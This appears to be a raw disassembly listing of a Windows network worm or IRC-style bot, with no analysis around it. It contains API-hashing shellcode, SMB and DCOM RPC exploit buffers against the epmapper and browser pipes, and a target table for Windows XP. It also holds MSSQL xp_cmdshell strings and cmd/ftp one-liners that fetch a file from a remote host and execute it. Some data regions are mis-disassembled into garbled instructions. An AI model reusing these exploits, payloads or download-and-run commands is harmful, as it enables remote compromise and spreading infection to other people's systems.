0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h dword_4343E0 dd 54340320h, 741FF41Fh, 6C1FE21Fh, 1F3A031Fh, 6425202Dh ; DATA XREF: sub_40B790+85o dd 34300320h, 30036E69h, 73252031h, 2Eh dword_434404 dd 34300320h, 3A732520h, 3130032Dh, 2C642520h, 0dword_434418 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 61630253h ; DATA XREF: sub_40B790+11o dd 3026E02h, 32C3130h, 33A3431h, 45022031h, 6C027078h dd 7402696Fh, 74530220h, 69027461h, 69027473h, 33A7363h dd 34h dword_434458 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 61630253h ; DATA XREF: sub_40B85E+37o dd 3026E02h, 32C3130h, 33A3431h, 54022031h, 6E617202h dd 72656673h, 2530220h, 69746174h, 63697473h, 34033A73h dd 46540220h, 3A025054h, 2C642520h, 54460220h, 203A0250h dd 202C6425h, 1FF41F54h, 1FE21F74h, 6425206Ch, 206E6920h dd 2E7325h dword_4344C0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 61630253h ; DATA XREF: sub_40B8C9+21o dd 3026E02h, 32C3130h, 33A3431h, 64252031h, 34300320h dd 6E6E6F43h, 42746365h, 204B6361h, 6C656853h, 6920736Ch dd 3130036Eh, 2E732520h, 0 dword_434508 dd 2B75320h, 61B70263h, 203A6EB7h, 69025402h, 33A656Dh ; DATA XREF: sub_40B91D+7Eo dd 25203430h, 2E73h dword_434524 dd 25370320h, 28200373h, 73253403h, 2C2903hdword_434534 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 61630253h ; DATA XREF: sub_40B91D+14o dd 3026E02h, 32C3130h, 33A3431h, 45022031h, 6C027078h dd 7402696Fh, 694C0220h, 2747302h, 3Ah, 0 dword_434570 dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 21F4502h ; DATA XREF: sub_40B9E3+16Fo dd 6C700278h, 74696F02h, 2C313003h, 3A353103h, 2203103h dd 6E690246h, 65687369h, 45022064h, 6C707802h, 691F6F1Fh dd 676E6974h, 25203403h, 31032073h, 20642528h, 65747461h dd 7374706Dh, 29h dword_4345C8 dd 35310302h, 25B302Ch, 91313003h, 1F343003h, 21F4502h ; DATA XREF: sub_40B9E3+80o dd 6C700278h, 74696F02h, 2C313003h, 3A353103h, 2203103h dd 79720254h, 3676E69h, 73252034h, 6F310320h, 2034036Eh dd 3207325h, 6F702831h, 25207472h, 2E2E2964h, 2Eh dword_434618 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 61630253h ; DATA XREF: sub_40BB95+42o dd 3026E02h, 32C3130h, 33A3431h, 53022034h, 6E616302h dd 24E0220h, 220746Fh, 74630241h, 2E657669h, 0 dword_434654 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h ; DATA XREF: sub_40BB95+2Co dd 3026E02h, 32C3430h, 33A3431h, 43022034h, 72727502h dd 20746E65h, 501F491Fh, 2031033Ah, 2E7325h, 0 unk_434690 db 2 ; DATA XREF: sub_40BC0C+4C5o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 34h, 91h db 3 db 30h, 31h, 2 db 48h ; H db 2, 2 dup(74h) db 70h ; p db 64h, 3, 30h db 34h ; 4 db 2Ch, 3, 31h db 34h ; 4 db 3Ah, 3, 34h aFailedToSta_21 db ' Failed to start server, error: <%d>.',0 align 4 unk_4346D8 db 2 ; DATA XREF: sub_40BC0C+440o db 3, 31h, 35h db 2Ch ; , db 30h, 5Bh, 2 db 3 db 30h, 31h, 91h db 3 db 30h, 34h, 2 db 48h ; H db 2, 2 dup(74h) db 70h ; p db 64h, 3, 30h db 31h ; 1 db 2Ch, 3, 31h db 34h ; 4 db 3Ah, 3, 20h aServerListen_1 db 'Server listening on IP: %s:%d, Directory: %s\.',0 align 4 unk_434728 db 2Dh ; - ; DATA XREF: sub_40BC0C+386o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_22 db '- Failed to start server, error: <%d>.',0 unk_434760 db 2Dh ; - ; DATA XREF: sub_40BC0C+326o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_1 db '- Server started on Port: %d.',0 align 10h dword_434790 dd 35310302h, 25B302Ch, 91313003h, 54343003h, 54024602h ; DATA XREF: sub_40BC0C+25Fo dd 64027002h, 2C313003h, 3A353103h, 2203103h, 69610246h dd 2064656Ch, 26F0254h, 2745320h, 74720261h, 72655320h dd 65027602h, 45202C72h, 72027202h, 33A726Fh, 3C203430h dd 2E3E6425h, 0 dword_4347E8 dd 35310302h, 25B302Ch, 91313003h, 54343003h, 54024602h ; DATA XREF: sub_40BC0C+1FFo dd 64027002h, 2C313003h, 3A353103h, 2203103h, 72650253h dd 20726576h, 2617453h, 65740272h, 6E4F2064h, 6F025020h dd 3A747202h, 20343003h, 202C6425h, 2460203h, 3A656C69h dd 20343003h, 2E7325h dword_434840 dd 35310302h, 25B302Ch, 91313003h, 54343003h, 54024602h ; DATA XREF: sub_40BC0C+137o dd 64027002h, 2C313003h, 3A353103h, 46203103h, 2696102h dd 6402656Ch, 6F025420h, 2745320h, 2747261h, 2655320h dd 65027672h, 45202C72h, 2727202h, 33A726Fh, 253C2034h dd 2E3E64h, 0 dword_434898 dd 35310302h, 25B302Ch, 91313003h, 54343003h, 54024602h ; DATA XREF: sub_40BC0C+D7o dd 64027002h, 2C313003h, 3A353103h, 53203103h, 2726502h dd 72026576h, 2745320h, 2747261h, 6F206465h, 50206E02h dd 2726F02h, 34033A74h, 2C642520h, 46310320h, 26C6902h dd 34033A65h, 2E732520h, 2 dup(0) dword_4348F8 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h ; DATA XREF: sub_40C271+DCo dd 3026E02h, 32C3430h, 33A3431h, 50492031h, 2034033Ah dd 202C7325h, 50023103h, 74726F02h, 25203403h, 31032064h dd 2207369h, 6570024Fh, 2E6Eh dword_434940 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h ; DATA XREF: sub_40C271+84o dd 3026E02h, 32C3430h, 33A3431h, 50492031h, 2034033Ah dd 253A7325h, 3202C64h, 2530231h, 206E6163h, 68025402h dd 64616572h, 2034033Ah, 202C6425h, 53023103h, 2D627502h dd 68025402h, 64616572h, 2034033Ah, 2E6425h dword_4349A0 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h ; DATA XREF: sub_40C485+1E0o dd 3026E02h, 32C3430h, 33A3431h, 46022034h, 6E026902h dd 73026902h, 65026802h, 61206402h, 20310374h, 253A7325h dd 34032064h, 66026102h, 3726574h, 64252031h, 2340320h dd 6E69024Dh, 28657475h, 6F202973h, 53022066h, 61026302h dd 6E1F6E02h, 6E02691Fh, 2E6702h dword_434A10 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h ; DATA XREF: sub_40C485+168o dd 3026E02h, 32C3430h, 33A3431h, 46022034h, 6C696102h dd 2206465h, 206F0254h, 74025302h, 20747261h, 6F025702h dd 72656B72h, 2540220h, 61657268h, 2202C64h, 72720245h dd 33A726Fh, 253C2031h, 2E3E64h, 0 dword_434A70 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h ; DATA XREF: sub_40C485+103o dd 3026E02h, 32C3430h, 33A3431h, 73252031h, 2C64253Ah dd 2340320h, 61630253h, 5402206Eh, 65726802h, 33A6461h dd 64252031h, 3403202Ch, 75025302h, 1F2D1F62h, 68025402h dd 64616572h, 2031033Ah, 2E6425h, 0 dword_434AD0 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 21F531Fh ; DATA XREF: sub_40C485+87o dd 2610263h, 3130036Eh, 3531032Ch, 2031033Ah, 61024602h dd 6C026902h, 64026502h, 206F7420h, 26E6902h, 2697469h dd 2696C61h, 4320657Ah, 2697202h, 63026974h, 53206C61h dd 2636502h, 6F026974h, 2E6Eh aBuzshellConnec db 'BuzShell Connected!',0 ; DATA XREF: sub_40C6DC+7Fo dword_434B40 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h ; DATA XREF: sub_40C773+92o dd 3026E02h, 32C3430h, 33A3431h, 50492031h, 2034033Ah dd 3207325h, 2500231h, 3A74726Fh, 25203403h, 31032064h dd 2207369h, 6570024Fh, 2E6Eh dword_434B88 dd 35310302h, 25B302Ch, 91343003h, 2313003h, 61630253h ; DATA XREF: sub_40C840+41o dd 3026E02h, 32C3430h, 33A3431h, 53022031h, 6E616302h dd 676E696Eh, 3A504920h, 25203403h, 3202C73h, 2500231h dd 272026Fh, 34033A74h, 2E642520h, 2 dup(0) dword_434BD8 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 6F1F0250h ; DATA XREF: sub_40C931+D1o dd 274721Fh, 631F0253h, 6E02611Fh, 31300302h, 3431032Ch dd 2031033Ah, 69024602h, 6873696Eh, 2206465h, 61630253h dd 6E696E6Eh, 50492067h, 2034033Ah, 2E7325h, 0 dword_434C28 dd 35310302h, 25B302Ch, 91313003h, 2343003h, 6F1F0250h ; DATA XREF: sub_40C931+41o dd 274721Fh, 631F0253h, 6E02611Fh, 31300302h, 3431032Ch dd 2031033Ah, 2530220h, 6E026163h, 1F6E1F02h, 26E0269h dd 50492067h, 2034033Ah, 202C7325h, 50023103h, 72026F02h dd 33A7402h, 64252034h, 2Eh, 0 byte_434C88 db 90h ; DATA XREF: sub_40CCAA+B2o db 42h, 90h, 42h db 90h dd offset dword_429040+2 align 4 dword_434C94 dd 10FF8h, 0 dword_434C9C dd 10FF8h dword_434CA0 dd 7FFDF020h, 0 dword_434CA8 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_434D30 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_434D60 dd 0 dd 800000D4h, 2 dup(0) unk_434D70 db 81h ; ; DATA XREF: sub_40D1A3+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 align 10h byte_434DC0 db 41h ; DATA XREF: sub_40D241+108r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 8 ; =============== S U B R O U T I N E ======================================= sub_434E08 proc near ; DATA XREF: .XPack0:0040D51Do push ebx push esi push edi sub sp, 80h mov esi, esp call sub_434F04 push dword ptr [esi] push 63D61209h call sub_434F1A mov [esi+8], eax call sub_434ECD push dword ptr [esi+4] push 0CA2BD06Bh call sub_434F1A mov [esi+0Ch], eax call sub_434E7F push dword ptr [esi+4] push 4C0297FAh call sub_434F1A xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_434E08 endp ; =============== S U B R O U T I N E ======================================= sub_434E7F proc near ; CODE XREF: sub_434E08+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_434EA8 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_434E7F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_434EA8 proc near ; CODE XREF: sub_434E7F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_434EB7: ; CODE XREF: sub_434EA8+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_434EC4 inc ebx jmp short loc_434EB7 ; --------------------------------------------------------------------------- loc_434EC4: ; CODE XREF: sub_434EA8+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_434EA8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_434ECD proc near ; CODE XREF: sub_434E08+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_434EE5: ; CODE XREF: sub_434ECD+1Ej cmp [ecx], ebx jz short loc_434EED mov ecx, [ecx] jmp short loc_434EE5 ; --------------------------------------------------------------------------- loc_434EED: ; CODE XREF: sub_434ECD+1Aj mov edx, edi loc_434EEF: ; CODE XREF: sub_434ECD+2Aj cmp [edx+4], ebx jz short loc_434EF9 mov edx, [edx+4] jmp short loc_434EEF ; --------------------------------------------------------------------------- loc_434EF9: ; CODE XREF: sub_434ECD+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_434ECD endp ; =============== S U B R O U T I N E ======================================= sub_434F04 proc near ; CODE XREF: sub_434E08+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_434F04 endp ; =============== S U B R O U T I N E ======================================= sub_434F1A proc near ; CODE XREF: sub_434E08+16p ; sub_434E08+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_434F30: ; CODE XREF: sub_434F1A+33j jecxz short loc_434F6A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_434F3D: ; CODE XREF: sub_434F1A+2Dj lodsb cmp al, ah jz short loc_434F49 ror edi, 0Dh add edi, eax jmp short loc_434F3D ; --------------------------------------------------------------------------- loc_434F49: ; CODE XREF: sub_434F1A+26j cmp edi, [esp+20h+arg_0] jnz short loc_434F30 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_434F6A: ; CODE XREF: sub_434F1A:loc_434F30j ; sub_434F1A:loc_434F6Aj jmp short loc_434F6A sub_434F1A endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_434F70 proc near ; DATA XREF: .XPack0:0040D4CBo arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_434FC2 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_434F8D: ; CODE XREF: sub_434F70+38j jecxz short loc_434FBD dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_434F98: ; CODE XREF: sub_434F70+32j lodsb test al, al jz short loc_434FA4 ror edx, 0Dh add edx, eax jmp short loc_434F98 ; --------------------------------------------------------------------------- loc_434FA4: ; CODE XREF: sub_434F70+2Bj cmp edx, [esp+arg_0] jnz short loc_434F8D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_434FBD: ; CODE XREF: sub_434F70:loc_434F8Dj mov [esp+arg_0], ebx retn sub_434F70 endp ; =============== S U B R O U T I N E ======================================= sub_434FC2 proc near ; CODE XREF: sub_434F70+7p ; FUNCTION CHUNK AT 00434FFA SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_434FDB mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_434FE6 ; --------------------------------------------------------------------------- loc_434FDB: ; CODE XREF: sub_434FC2+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_434FE6: ; CODE XREF: sub_434FC2+14j pop edi xor esi, esi pusha push esi jmp short loc_434FFA sub_434FC2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_434FED proc near ; CODE XREF: sub_434FC2:loc_434FFAp push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_434FED endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_434FC2 loc_434FFA: ; CODE XREF: sub_434FC2+29j call sub_434FED loc_434FFF: ; DATA XREF: sub_40CCAA+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_434FC2 ; --------------------------------------------------------------------------- dw 0 dword_435004 dd 62B0606h, 2050501h, 0A0hdword_435010 dd 30h dword_435014 dd 0A1h dword_435018 dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_40CCAA+153o align 4 loc_435024: ; DATA XREF: sub_40CCAA+E8o jmp short near ptr dword_43502C ; --------------------------------------------------------------------------- db 6 dup(90h) dword_43502C dd 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: .XPack0:0040D4F2o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 8 dword_435098 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; .XPack0:0040E05Ao dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 2 dup(0) dword_4350E8 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_40DBEF+120o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dword_435244 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_43544C dd 20h, 0 dd 20h, 5C005Ch, 0 off_435460 dd offset aAdvapi32_dllFa+18h ; DATA XREF: sub_40DBEF+15Ao a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 align 10h dword_4354A0 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) aFxnbfxfxnbfxfx: ; DATA XREF: sub_40DBEF+45o unicode 0, <FXNBFXFXNBFXFXFXFX> dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_4355B0 dd 10016C6h dword_4355B4 dd 100139Dh asc_4355B8: ; DATA XREF: sub_40DA56+1Co ; sub_40DB39+16o unicode 0, <\\>,0 align 10h off_4355C0 dd offset dword_49005C ; DATA XREF: sub_40DA56+Co ; sub_40DB39+Bo dd offset aAdvapi32_dllFa+0Ch dd 24h aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: .XPack0:0040E128o align 4 aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: .XPack0:0040E0DBo align 4 aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: .XPack0:0040DE80o align 4 dword_435628 dd 1F353103h, 34031F28h, 313003B7h, 6C71736Dh, 3B73403h ; DATA XREF: .XPack0:0040E8C3o dd 291F3531h, 203201Fh, 79720254h, 3A676E69h, 73252820h dd 2964253Ah, 2550220h, 3A726573h, 73252820h, 2973252Fh dd 2Eh dword_435668 dd 21F5B1Fh, 544F4F52h, 1F024445h, 0BB201F5Dh, 4920BBBBh ; DATA XREF: .XPack0:0040E841o dd 25203A50h, 73h aExecMaster___0 db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: .XPack0:0040E82Co align 8 ; aExecMaster(long long, *) aExecMaster__xp db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us' ; DATA XREF: .XPack0:0040E7F5o db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq ' db '&%s&del eq',0Dh,0Ah db 27h,0 align 4 aDriverSqlServe db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0 ; DATA XREF: .XPack0:0040E757o align 10h dword_435770 dd 0E983C933h, 0D9EED9AFh, 5BF42474h; --------------------------------------------------------------------------- loc_43577C: ; CODE XREF: .XPack0:00435786j xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_43577C inc edi jz short loc_4357C3 and eax, 952CE753h inc esp jle short loc_4357EB push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_4357C3: ; CODE XREF: .XPack0:00435789j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_435822+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_4357E8: ; CODE XREF: .XPack0:00435815j xor [esi-25h], bl loc_4357EB: ; CODE XREF: .XPack0:00435791j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_435804: ; CODE XREF: .XPack0:00435837j rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_4357E8 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_435822: ; CODE XREF: .XPack0:004357C9j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_4358AE jo short loc_435804 fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_435845+1 add bl, [edi] loc_435845: ; CODE XREF: .XPack0:00435841j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_43585A+2 cmp ch, bh dec edx loc_43585A: ; CODE XREF: .XPack0:00435855j xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_4358AE: ; CODE XREF: .XPack0:00435835j mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_435934 sub al, 0BCh jmp near ptr 54455CA2h ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_4358D0 dd 0EFFFC481h, 44FFFFh, 43591Chdword_4358DC dd 42Ah dword_4358E0 dd 3E8h dword_4358E4 dd 258h byte_4358E8 db 0 ; DATA XREF: sub_40EA40+1EFr ; sub_40EA40+2CFr align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_435900 dd 20804h ; sub_40EA40+2E8o ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: .XPack0:004358ECo align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_435934: ; CODE XREF: .XPack0:004358B8j push eax xor al, 29h loc_435937: ; DATA XREF: sub_40EA40+211o add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 10h dword_435940 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0dword_435954 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: sub_40EA40+78o align 4 aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_40EA40+2Fo align 4 dword_435988 dd 200F1001h, 0Ah, 1001802h, 0 dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 